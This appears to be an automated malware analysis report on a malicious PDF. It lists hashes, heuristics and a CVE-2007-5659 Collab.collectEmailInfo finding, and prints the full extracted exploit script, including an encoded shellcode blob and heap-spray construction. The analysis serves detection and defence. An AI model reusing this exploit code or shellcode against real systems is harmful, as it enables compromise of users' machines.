Malicious PDF — malware analysis report

Static analysis result for SHA-256 b6e83748e916e32e…

MALICIOUS

PDF

67.8 KB Created: 2008-02-27 16:58:09 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 6.0.1 (Windows)) First seen: 2026-05-16
MD5: e7c130453c996946814b02153db46551 SHA-1: e4b5fb86edade0ff8facf1dea6f082260f4e78d4 SHA-256: b6e83748e916e32e4b690915c03abefe84a5da4e89f472ee547c320267cadae1
426 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.002 Malicious File

This PDF file contains embedded JavaScript that utilizes the unescape() function and exploits CVE-2007-5659 (Collab.collectEmailInfo). The ML classifier and ClamAV detection strongly indicate malicious intent. The primary function of the embedded script appears to be downloading and executing a second-stage payload, as suggested by the 'Win.Trojan.Dropper-82' ClamAV detection and the 'Suspicious extracted artifact' heuristic. The document body is heavily obfuscated and does not provide clear user-facing content.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 11

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Win.Trojan.Dropper-82 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Dropper-82
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
taa pdf-embedded-file-undecodable PDF EmbeddedFile object 20 at offset 0xF00; filter decode failed 56211 bytes
SHA-256: aff6dd0e1dbc8bed7b288d29f43b00fdb9d2bf33394716b2134eb4ea8f202b0c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact entropy is 8.00, consistent with packed or encrypted content.
javascript_obj0017_000.js pdf-javascript-stream PDF /JS object 17 at offset 0x6A2 4622 bytes
SHA-256: a855e1484b6aa802ce0f6f936ba6d5b5bb5556ec34d1f510cb7f17c768fa4311
Detection
ClamAV: Win.Trojan.Dropper-82
Obfuscation or payload: likely
Carved artifact contains 16 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function re(count,what) 
{
var v = "";
while (--count >= 0) 
v += what;
return v;
} 
function start() 
{
sc = unescape("%u9090%u9090%u9090%u9090%uEB90%u5E1a%u5B56%u068a%u303c%u1674%uE0c0%u4604%u268a%uE480%u020f%u88c4%u4303%uEB46%uE8e9%uFFe1%uFFff"+
"%u7466%u515a%u7043%u7050%u7070%u5050%u6B68%u5064%u4C50%u4B68%u5077%u6C71%u4D5a%u6B58%u5047%u4850%u794e%u4453%u6250%u5070%u5050%u7875%u5168%u4C4e%u5050%u6270%u5050%u5050%u4B68%u6C4f%u4978%u5747%u7850%u4978%u7744%u5061%u6F6f%u5757%u7850%u4866%u6C4e%u7759%u4350%u6C70%u584e%u644c%u6150%u7050%u7070%u4948%u4754%u4C61%u4F4f%u5747%u7870%u4866%u764f%u5262%u594b%u4C67%u584e%u446b%u7150%u7050%u7050%u6948%u7774%u7052%u4F6f%u7777%u6870%u7876%u457a%u7761%u5050%u6C67%u684e%u544a%u7170%u7050%u7070%u7958%u7764%u7472%u4F4f%u4767%u5870%u5866%u4B6f%u6779%u6D4f%u6F50%u584e%u5449%u6150%u7050%u7070%u5958%u4764%u5852%u4F4f%u4767%u6850%u4856%u6651%u6576%u7A4f%u7041%u786e%u6458%u4150%u5070%u7070%u4978%u6764%u4C62%u6F6f%u6767%u7850%u5866%u4F41%u6967%u5A70%u684e%u686e%u7467%u5150%u7050%u5050%u4948%u5774%u5063%u4F6f%u7767%u6850%u7856%u5572%u706b%u4F4f%u726c%u484e%u6446%u5170%u5050%u5070%u7968%u5754%u7463%u6F4f%u6777%u5870%u4856%u6C5a%u4850%u7A4d%u5667%u784e%u7455%u4170%u7070%u5050%u4948%u7744%u7853%u6F4f%u4747%u7850%u4866%u4849%u4E6f%u4A58%u4E70%u586e%u4474%u6170%u5050%u5050%u5978%u5744%u4C73%u4F4f%u4757%u7850%u4846%u5467%u4968%u6C6e%u6959%u584e%u6463%u4170%u5050%u5070%u7958%u4754%u7054%u4F4f%u7777%u7850%u4846%u6E47%u784d%u524e%u5377%u786e%u4452%u4170%u7070%u7070%u5958%u5764%u4464%u6F6f%u5757%u6850%u7856%u4D5a%u6B49%u4D77%u4F4d%u784e%u7441%u7170%u7050%u7050%u7978%u6744%u6864%u6F4f%u5777%u5061%u6F6f%u6775%u6473%u6363%u766f%u4664%u6D78%u6764%u5046%u7045%u7645%u4F6f%u5755%u4854%u7358%u584f%u4F6f%u4447%u726f%u4D73%u7070%u5041%u7070%u7050%u4667%u4B4e%u7978%u4774%u7450%u4978%u5747%u5046%u6F6f%u5757%u4470%u7A46%u7054%u6F4f%u6765%u4C51%u7948%u5744%u6C45%u5A76%u5070%u6A46%u5070%u4A56%u7070%u6F6f%u5747%u7066%u6F4f%u7775%u4873%u4348%u584f%u6F4f%u4447%u6B54%u6A46%u7070%u6D78%u6F45%u5057%u5375%u4F4f%u4757%u6470%u4F6f%u5777%u6C65%u6F4f%u7747%u5056%u4F6f%u4745%u4C62%u4B68%u4F74%u5067%u7378%u696e%u7041%u4B48%u5744%u4C45%u5074%u4148%u4873%u4664%u4E62%u7A55%u4876%u7567%u4950%u5148%u5847%u6470%u6352%u7650%u7148%u6951%u5477%u5450%u526e%u6C4e%u6B6e%u4A41%u7378%u506c%u4850%u5948%u7744%u6451%u7064%u4148%u4853%u6A74%u5567%u5356%u6B64%u5557%u4970%u7178%u7847%u6470%u6241%u4150%u5348%u6961%u4447%u6E50%u624e%u4C4e%u4F6f%u5777%u6C45%u4F4f%u7745%u7052%u6F70%u5548%u4267%u6F6f%u4F4f%u6F4f%u6378%u706c%u7850%u7978%u6744%u5871%u4A76%u7070%u7866%u5068%u7050%u7070%u5070%u5A66%u6270%u5A76%u7070%u4A46%u5050%u7856%u7070%u5050%u7070%u7064%u4F4f%u4777%u5071%u6F6f%u4765%u7462%u4978%u7774%u7476%u776c%u6754%u4C46%u6D54%u7A65%u7049%u5050%u6A56%u5070%u4D78%u6F55%u7047%u5355%u7A66%u6450%u4D48%u6F65%u4C76%u6375%u6F6f%u5767%u4466%u6F4f%u6765%u7063%u4B68%u7774%u5851%u6B42%u5754%u5461%u7368%u586e%u5850%u6B78%u4F55%u7471%u7043%u5370%u6374%u7844%u5368%u786f%u5050%u6557%u474f%u5A46%u7050%u4D58%u4F65%u5067%u6375%u4B58%u4F65%u4841%u6B52%u4F65%u4441%u6358%u4B4e%u6870%u6375%u4F6f%u4757%u6441%u4F6f%u5767%u7456%u4F4f%u5745%u7073%u6F4f%u4747%u5446%u6F4f%u4765%u6862%u5A56%u7050%u6F4f%u5767%u5071%u4F6f%u6755%u6C63%u7A56%u5050%u4F4f%u4745%u4454%u7575%u6B68%u4C6e%u4745%u4B78%u4D77%u6870%u4B78%u6D75%u4C70%u6645%u4B68%u5357%u6C53%u6B48%u5457%u4E71%u7857%u4350%u736f%u6675%u4B58%u4677%u5042%u7350%u734f%u6343%u696c%u6974%u4174%u6D7a%u4370%u636c%u4675%u7373%u564f%u4F70%u6E4b%u7071%u5A73%u626f%u7467%u5850%u414c%u4E4c%u6D50%u4350%u524f%u5044%u6B4e%u514f%u4B53%u4E6f%u4E45%u5567%u454e%u4A75%u6B58%u4B6e%u6B58%u6A75%u6442%u7370%u4D6d%u7656%u4B48%u6C70%u6B74%u4B58%u4A45%u6C51%u6370%u4D4d%u6B78%u6470%u4B58%u6350%u754c%u6E45%u4F55%u6D65%u626c%u7850%u7050%u486e%u476c%u6D6f%u4F4f%u6F6f%u4346%u4A73%u6C55%u5176%u4E52%u5556%u5857%u7576%u7050" +
"%u3030");

if (app.viewerVersion >= 7.0)
{
plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape("%u9090%u9090") + re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + sc + re(1256,unescape("%u4141%u4141"));
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = re(80,unescape("%u9090%u9090")) + sc + re(80,unescape("%u9090%u9090"))+ unescape("%ue7e9%ufff9")+unescape("%uffff%uffff") + unescape("%uf6eb%uf4eb") + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;

plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",1200);

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